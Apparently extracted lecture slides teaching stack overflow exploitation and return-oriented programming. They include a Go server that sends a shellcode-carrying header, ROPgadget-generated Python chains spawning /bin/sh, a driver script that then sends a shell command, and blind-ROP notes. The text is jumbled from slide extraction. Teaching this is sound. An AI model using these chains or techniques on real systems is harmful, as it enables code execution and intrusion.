// 0xc8e5c3 - jmp rsp in /usr/share/ts/bin/bd64
// version 16.0.1 build 0.0.3
var jmp_rsp = "\xc3\xe5\xc8\x00\x00\x00\x00\x00"
// int3
var shellcode = "“\xcc\xcc\xcc\xcc"
func HelloServer(w http.ResponseWriter, req *http.Request) {
w.Header().Set("Content-Type", "text/plain")
value := strings.Repeat("B", 70) + jmp_rsp + shellcode
w.Header().Set(strings.Repeat("A", 8192), value)
w.Write([]byteC("This is an example exploit.\n"))
}
func main() {
http.HandleFunc("/", HelloServer)
err := http.ListenAndServeTLS(":443", "server.pem", "server.pem", nil)
if err != nil {
log.FatalC("ListenAndServe: ", err)
}
}jmp *%rspjmp *%rsp instruction at fixed address
/bin/bash (shell) on my desktop… 949bf: 8b 15 ff e4 08 00 mov 0x8e4ff(%rip),%edx
jmp *%rsp: ff e4simple stack buffer overflow with write XOR execute
stack canaries disabled
ASLR disabled
0000000000400536 <vulnerable>:
400536: 48 83 ec 78 sub $0x78,%rsp
40053a: 31 c0 xor %eax,%eax
40053c: 48 8d 7c 24 0c lea 0xc(%rsp),%rdi
400541: e8 ca fe ff ff callq 400410 <gets@plt>
400546: 48 83 c4 78 add $0x78,%rsp
40054a: c3 retq
0xC + stack pointer0x78 + stack pointer
0x6c + buffer0x2aaaaacd3000puts0x2aaaaad42690 lea string(%rip), %rdi
mov $0x2aaaaad42690, %rax /* puts */
jmpq *(%rax)
string: .ascii "You have been exploited.\\0"
%rdi?libc.so2aaaaadfdc95: 48 89 e7 mov %rsp,%rdi
2aaaaadfdc98: ff d0 callq *%rax
puts into %rax before this2aaaaad06543: e8 58 c3 fe ff callq 2aaaaaaf48a0
58 c3 can be interpreted another way:2aaaaad06544: 58 popq %rax
2aaaaad06545: c3 retq
call snippet nextROP, format strings: mini machine language
set of instructions including:
can be viewed as virtual machine with unusual instruction set
can be analyzed using DMT2 techniques
goal: run ‘‘example(0)’’
known info:
| address | instructions |
| 0x100000 | (example function) |
| 0x100100 | pop %rdi; ret |
| 0x100200 | xor %eax, %eax; ret |
| 0x100300 | xor %edi, %edi; ret |
exercise: what can be written at return address + after to do this?
[0x100100: pop %rdi; ret]
0x0
[0x100000: example]
as bytes (to put in buffer overflow):
00 01 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00[0x100200: xor %edi, %edi; ret]
[0x100000: example]
as bytes (to put in buffer overflow):
00 02 10 00 00 00 00 00 00 00 10 00 00 00 00 00system(“/bin/sh”)’’
| address | instructions |
| 0x100000 | (system function) |
| 0x100100 | mov %rdi, (%rax); ret |
| 0x100200 | pop %rax; ret |
| 0x100300 | pop %rdi; ret |
| 0x200000 | (some global variable) |
"/bin/sh\0"]just before ret to start “chain”:
%rax = ???
%rdi = ???
%rsp = (address of 1st 0x100200)
before pop %rax at 0x100200:
%rax = ???
%rdi = ???
%rsp = (address of 1st 0x200000)
before ret after pop %rax:
%rax = 0x200000
%rdi = ???
%rsp = (address of 1st 0x100300)
before pop %rdi at 0x100300:
%rax = 0x200000
%rdi = ???
%rsp = (address of "/bin/sh\0")
before ret after pop %rdi:
%rax = 0x200000
%rdi = "/bin/sh\0" as integer
%rsp = (address of 0x100100)
before mov %rdi, (%rax) at 0x100100:
%rax = 0x200000
%rdi = "/bin/sh\0" as integer
%rsp = (address of 0x100300)
before ret after mov:
%rax = 0x200000
%rdi = "/bin/sh\0" as integer
%rsp = (address of 0x100300)
before pop %rdi (second time):
%rax = 0x200000
%rdi = "/bin/sh\0" as integer
%rsp = (address of 0x200000)
before ret after pop %rdi:
%rax = 0x200000
%rdi = 0x200000
%rsp = (address of system)
2aaaaad06543: e8 58 c3 fe ff callq 2aaaaaaf48a0
58 c3 = popq %rax; retobjdump outputbits of machine code that do work, then return or jump
‘‘chain’’ together, by having them jump to each other
most common: find gadget ending with ret
find code segments of exectuable/library
look for opcodes of arbitrary jumps:
retjmp *registerjmp *(register)call *registercall *(register)disassemble starting a few bytes before
sort list
automatable
$ ROPgadget --binary /bin/ls
....
0x000000000000f09d : xor r8d, r8d ; cmp rcx, rsi ; jb 0xf0b9 ; jmp 0xf0e6
0x0000000000012a22 : xor r8d, r8d ; jmp 0x11fee
0x0000000000013d86 : xor r8d, r8d ; jmp 0x137a8
0x000000000001421a : xor r8d, r8d ; jmp 0x141b0
0x0000000000006aa1 : xor r8d, r8d ; jmp 0x69d5
0x00000000000099f0 : xor r8d, r8d ; jmp 0x931d
0x000000000000e6d0 : xor r8d, r8d ; mov rax, r8 ; ret
0x00000000000127a7 : xor r8d, r8d ; xor esi, esi ; jmp 0x11fee
0x000000000000e640 : xor r8d, r8d ; xor esi, esi ; jmp 0xe66a
0x000000000001435d : xor r9d, r9d ; jmp 0x141b0
0x0000000000008a03 : xor r9d, r9d ; xor r12d, r12d ; jmp 0x873c
0x0000000000014217 : xor r9d, r9d ; xor r8d, r8d ; jmp 0x141b0
Unique gadgets found: 6472
–offset X: set start location for binray/library
–badbytes XYZ: ignores gadgets whose addresses contain cerain bytes
getInitials: push %rbx
xor %eax,%eax
mov %rdi,%rbx
// lea "%s%s" -> %rdi
lea 0xe6e(%rip),%rdi
sub $0xa0,%rsp
// &second[0] -> %rdx
lea 0x50(%rsp),%rdx
// &first[0] -> %rsi
mov %rsp,%rsi
call __isoc99_scanf@plt
mov (%rsp),%al
mov %al,(%rbx)
mov 0x50(%rsp),%al
mov %al,0x1(%rbx)
add $0xa0,%rsp
pop %rbx
ret C. [168 As] X [ROP chain] X or E. X [88 As][ROP chain]
stack layout:
first at return address - 168 bytes
second at return address - 88 bytes
ROP chain’s first 8 bytes = address of first gadget to run
pop %rdi, retROP chain’s next bytes = things popped by first gadget
most common idea: run a shell (command prompt)
ROPchain --binary example --ropchain tries to do thisanother possibilities: make memory executable + jump
probably more ideas
if finding one of these in popular library…
can reuse across a lot of applications
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 \
--offset 0x10000000 --ropchain
...
#!/usr/bin/env python
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x00000000101056fd) # pop rdx ; pop rcx ; pop rbx ; ret
p += pack('<Q', 0x00000000101eb1a0) # @ .data
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000001004a550) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00000000100374b0) # mov qword ptr [rdx], rax ; ret
...
ROPgadget --binary /bin/ls --ropchain
...
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x7694 mov byte ptr [rax], 0xa ; pop rbx ; pop rbp ; pop r12 ; ret
[-] Can't find the 'pop rax' gadget. Try with another 'mov [reg], reg'
[-] Can't find the 'mov qword ptr [r64], r64' gadget
...
gcc -Os -fno-stack-protector -static -no-pie vulnerable.c -o vulnerable
ROPgadget --binary vulnerable --ropchain --silent
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409ece) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000447d27) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a275) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409ece) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043cef0) # xor rax, rax ; ret
...
p += pack('<Q', 0x0000000000470fd0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470fd0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470fd0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401c14) # syscall| (highest address) | ||
| rest of ROP chain | ||
| caller’s stuff | ||
| vulnerable return address | start of ROP chain | |
| 0x88 byte buffer | padding | |
| (lowest address) |
| (highest address) | ||
| rest of ROP chain | ||
| caller’s stuff | ||
| vulnerable return address | start of ROP chain | |
| 0x88 byte buffer | padding | |
| (lowest address) |
...
# Padding goes here
p = b'A' * 0x88 # <-- modified
p += pack('<Q', 0x0000000000409ece) # pop rsi ; ret
...
p += pack('<Q', 0x0000000000401c14) # syscall
from_program.read(1) # wait for "Input: "
to_program.write(p + b'\n')
to_program.flush()
# wait for shell to start
# hopefully this is long enough
time.sleep(1)
to_program.write('my_malicious_command\n')
to_program.flush()# mkfifo = make first-in, first-out file AKA named pipe
mkfifo vulnin
mkfifo vulnout
# run attack.py with
# output to vulnin (>vulnin)
# input to vulnout (<vulnout)
# in the background (&)
python3 attack.py >vulnin <vulnout &
# run ./vulnerable with input from vulnin (<vulnin)
# redirecting its output to the command 'tee vulnout'
# tee reads stdin, copies to stdout + other files
./vulnerable <vulnin | tee vulnoutROP chain will copy to temp location
avoids requiring knowing address of ROP chain
p += pack('<Q', 0x0000000000401e5f)
# pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0)
# @ .data
p += pack('<Q', 0x0000000000409ece)
# pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8)
# @ .data + 8
p += pack('<Q', 0x000000000040165e)
# pop rdx ; ret
p += pack('<Q', 0x00000000004c50e8)
# @ .data + 8%rspexample sequence:
push %rdi; jmp *(%rdx)pop %rsp; retset:
%rdi = desired stack pointer (pointer to next gadgets)%rdx = pointer to gadget 2struct Example {
char input[1000];
void (*process_function)(Example *, long, char *);
};
void vulnerable(struct Example *e) {
long index; char name[1000];
gets(e->input); /* can overwrite process_function */
sscanf(e->input, "%ld,%s", &index, &name[0]); /* expects <decimal number>,<string> */
(e->process_function)(e /* rdi */, index /* rsi */, name /* rdx */);
} if we overwrite process_function’s address with the address of the gadget mov %rsi, %rsp; ret, then input (scanf) start with …?
“1234,FOO…….” + addr of mov %rsi, %rsp, ret
arguments setup registers for gadget:
mov in gadget: %rsi (1234) becomes %rsp
ret in gadget: read pointer at 1234, set %rsp to 1234 + 8
struct Example {
char input[1000];
void (*process_function)(Example *, long, char *);
};
void vulnerable(struct Example *e) {
long index; char name[1000];
gets(e->input); /* can overwrite process_function */
scanf("%ld,%s", &index, &name[0]); /* expects <decimal number>,<string> */
(e->process_function)(e /* rdi */, index /* rsi */, name /* rdx */);
} if we overwrite process_function’s address with the address of the gadget push %rdx; jmp *(%rdi), then the beginning of the input should contain…
“FOOBARBAZ…….” + addr of push %rdx; jmp *(%rdi)
arguments setup registers for gadget:
push in gadget: top of stack becomes copy of uninit. value
jmp in gadget
“1234567890,FOO…….” + addr of push %rdx; jmp *(%rdi)
arguments setup registers for gadget:
push in gadget: top of stack becomes address of “FOO…”
jmp in gadget
seems like ret is the problem?
some mitigations that target ret
problem: don’t actually need ret
call or jmp
ret-based gadgets
/* from libc on my desktop: */
adc esi, edi ; jmp qword ptr [rsi + 0xf]
add al, ch ; jmp qword ptr [rax - 0xe]
/* from firefox on my desktop: */
add eax, ebp ; jmp qword ptr [rax]
add edi, -8 ; mov rax, qword ptr [rdi] ; jmp qword ptr [rax + 0x68]
sub esi, dword ptr [rsi] ; jmp qword ptr [rsi - 0x7d]
Onarlioglu et al, ‘‘G-Free: Defeating Return-Oriented Programming through Gadget-Less Binaries’’ (2010)
two parts:
hope: no useful gadgets b/c of canary-like checks
overhead is not low:
addl $0xc2, %eax: 05 c2 00 00 00c2 00 00: variant of ret instructionshadow stacks
pointer authentication
control flow integrity
common strategy for servers:
start server ‘workers’ with same randomization
automatically restart server workers after crash
once we know stack canary + return address value
we can guess where program code is
common form for gadget is pop XXX; ret
how can we tell if we might have that?
write to stack:
pop XXX; ret gadget will crash
…; ret gadget will hang
look for gadget that pops a lot from the stack
look for strcmp() function
look for write() function
use write() function to output program machine code to network